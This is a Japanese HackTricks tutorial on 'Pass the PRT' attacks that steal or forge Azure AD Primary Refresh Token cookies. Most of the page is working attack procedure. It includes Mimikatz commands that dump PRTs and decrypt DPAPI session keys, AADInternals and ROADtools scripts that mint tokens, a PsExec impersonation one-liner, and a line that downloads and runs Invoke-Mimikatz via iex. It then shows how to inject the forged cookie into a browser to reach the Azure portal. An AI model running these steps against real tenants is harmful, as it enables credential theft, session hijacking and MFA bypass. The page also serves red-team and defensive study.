Az - Pass the PRT

HackTricksをサポートする

PRTとは何か

PRTがあるか確認する

Dsregcmd.exe /status

SSOステートセクションでは、AzureAdPrtがYESに設定されているのが確認できます。

同じ出力で、デバイスがAzureに参加しているか(フィールドAzureAdJoinedで)も確認できます:

PRTクッキー

PRTクッキーは実際には**x-ms-RefreshTokenCredentialと呼ばれ、JSON Web Token(JWT)です。JWTは3つの部分**、ヘッダーペイロード、および署名で構成され、.で区切られ、すべてURLセーフなbase64でエンコードされています。典型的なPRTクッキーは以下のヘッダーとボディを含みます:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

実際の Primary Refresh Token (PRT)refresh_token 内にカプセル化されており、これは Azure AD の制御下にあるキーによって暗号化されているため、その内容は私たちには不透明で復号不可能です。フィールド is_primary は、このトークン内にプライマリリフレッシュトークンがカプセル化されていることを示します。クッキーが意図された特定のログインセッションにバインドされ続けることを保証するために、request_noncelogon.microsoftonline.com ページから送信されます。

TPMを使用したPRTクッキーフロー

LSASS プロセスは KDFコンテキスト を TPM に送信し、TPM は セッションキー(デバイスが AzureAD に登録されたときに収集され、TPM に保存されたもの)と前のコンテキストを使用して キーを導出 し、この 導出されたキーPRTクッキー (JWT) を署名するために使用されます。

KDFコンテキストは AzureAD からのノンスと PRT を混ぜた JWT で、コンテキスト(ランダムバイト)を含みます。

したがって、PRT が TPM 内にあるために抽出できなくても、LSASS を悪用して 新しいコンテキストから導出されたキーを要求し、生成されたキーを使用してクッキーに署名する ことが可能です。

PRT悪用シナリオ

通常のユーザー として、LSASS に SSO データを要求することで PRTの使用を要求する ことが可能です。 これは、Webアカウントマネージャー(トークンブローカー)からトークンを要求する ネイティブアプリ のように行うことができます。WAM はリクエストを LSASS に渡し、LSASS は署名された PRT アサーションを使用してトークンを要求します。また、PRTクッキーヘッダー として使用して Azure AS ログインページへのリクエストを認証する ブラウザベース(ウェブ)フロー でも行うことができます。

SYSTEM として、TPM によって保護されていない場合は PRTを盗むことができ、または LSASS 内のPRTキーと相互作用する ことができます。

Pass-the-PRT攻撃の例

攻撃 - ROADtoken

この方法の詳細については この投稿を確認してください。ROADtoken は正しいディレクトリから BrowserCore.exe を実行し、これを使用して PRTクッキーを取得 します。このクッキーはその後、ROADtools を使用して認証し、永続的なリフレッシュトークンを取得 するために使用できます。

有効な PRT クッキーを生成するために最初に必要なのはノンスです。 これを取得するには:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

または roadrecon を使用して:

roadrecon auth prt-init

次に、roadtokenを使用して新しいPRTを取得できます(攻撃するユーザーのプロセスからツールを実行します):

.\ROADtoken.exe <nonce>

As oneliner:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

次に、生成されたクッキーを使用して、Azure AD GraphまたはMicrosoft Graphを使用してログインするためのトークン生成できます:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

攻撃 - roadreconを使用

攻撃 - AADInternalsと漏洩したPRTを使用

Get-AADIntUserPRTToken ユーザーのPRTトークンを取得します Azure ADに参加したコンピュータまたはハイブリッド参加したコンピュータから。 BrowserCore.exeを使用してPRTトークンを取得します。

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

また、Mimikatzからの値がある場合は、AADInternalsを使用してトークンを生成することもできます:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

https://login.microsoftonline.com に移動し、login.microsoftonline.com のすべてのクッキーをクリアして、新しいクッキーを入力します。

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

次に、https://portal.azure.comに移動します。

残りはデフォルトのままで大丈夫です。ページを更新できて、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。

攻撃 - Mimikatz

ステップ

  1. PRT(プライマリリフレッシュトークン)がLSASS(ローカルセキュリティ認証局サブシステムサービス)から抽出され、後で使用するために保存されます。

  2. 次にセッションキーが抽出されます。このキーは最初に発行され、その後ローカルデバイスによって再暗号化されるため、DPAPIマスタキーを使用して復号化する必要があります。DPAPI(データ保護API)に関する詳細情報は、これらのリソースで確認できます: HackTricks およびその適用については、Pass-the-cookie attackを参照してください。

  3. セッションキーの復号化後、PRTのための派生キーとコンテキストが取得されます。これらはPRTクッキーの作成に重要です。具体的には、派生キーはクッキーを構成するJWT(JSON Webトークン)に署名するために使用されます。このプロセスの詳細な説明は、Dirk-janによって提供されており、こちらでアクセスできます。

PRTがTPM内にあり、lsass内にない場合は、mimikatzはそれを抽出できません。 ただし、TPMからのコンテキストから派生キーを取得し、それを使用してクッキーに署名することは可能です(オプション3を確認してください)。

これらの詳細を抽出するために実行されたプロセスの詳細な説明は、こちらで確認できます: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

これは、2021年8月の修正後、他のユーザーのPRTトークンを取得するためには正確には機能しません。なぜなら、ユーザーのみが自分のPRTを取得できるからです(ローカル管理者は他のユーザーのPRTにアクセスできません)が、自分のPRTにはアクセスできます。

mimikatzを使用してPRTを抽出できます:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Prtとラベル付けされた部分をコピーして保存します。 また、下にハイライトされている**ProofOfPossesionKeyフィールドのKeyValue**のセッションキーも抽出します。これは暗号化されており、復号化するためにDPAPIマスタキーを使用する必要があります。

PRTデータが表示されない場合、デバイスがAzure ADに参加していないためにPRTがないか、古いバージョンのWindows 10を実行している可能性があります。

セッションキーを復号化するには、SYSTEMに権限を昇格させてコンピュータコンテキストで実行し、DPAPIマスタキーを使用して復号化できるようにする必要があります。次のコマンドを使用して実行できます:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

オプション 1 - フル Mimikatz

  • 現在、両方のコンテキスト値をコピーしたいです:

  • そして派生キー値を:

  • 最後に、これらの情報を使用してPRTクッキーを生成できます:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

残りはデフォルトのままで大丈夫です。ページを更新できて、クッキーが消えないことを確認してください。消えた場合は、間違いを犯した可能性があり、プロセスを再度行う必要があります。消えない場合は、問題ありません。

オプション 2 - PRTを使用したroadrecon

  • まずPRTを更新し、roadtx.prtに保存します:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • これで、roadtx browserprtauthを使用してインタラクティブブラウザでトークンを要求できます。roadtx describeコマンドを使用すると、アクセス トークンにMFAクレームが含まれていることがわかります。これは、今回使用したPRTにもMFAクレームが含まれていたためです。

roadtx browserprtauth
roadtx describe < .roadtools_auth

オプション 3 - derived keys を使用した roadrecon

コンテキストと mimikatz によってダンプされた derived key があれば、roadrecon を使用して新しい署名付きクッキーを生成することが可能です:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

参考文献

HackTricksをサポートする

Last updated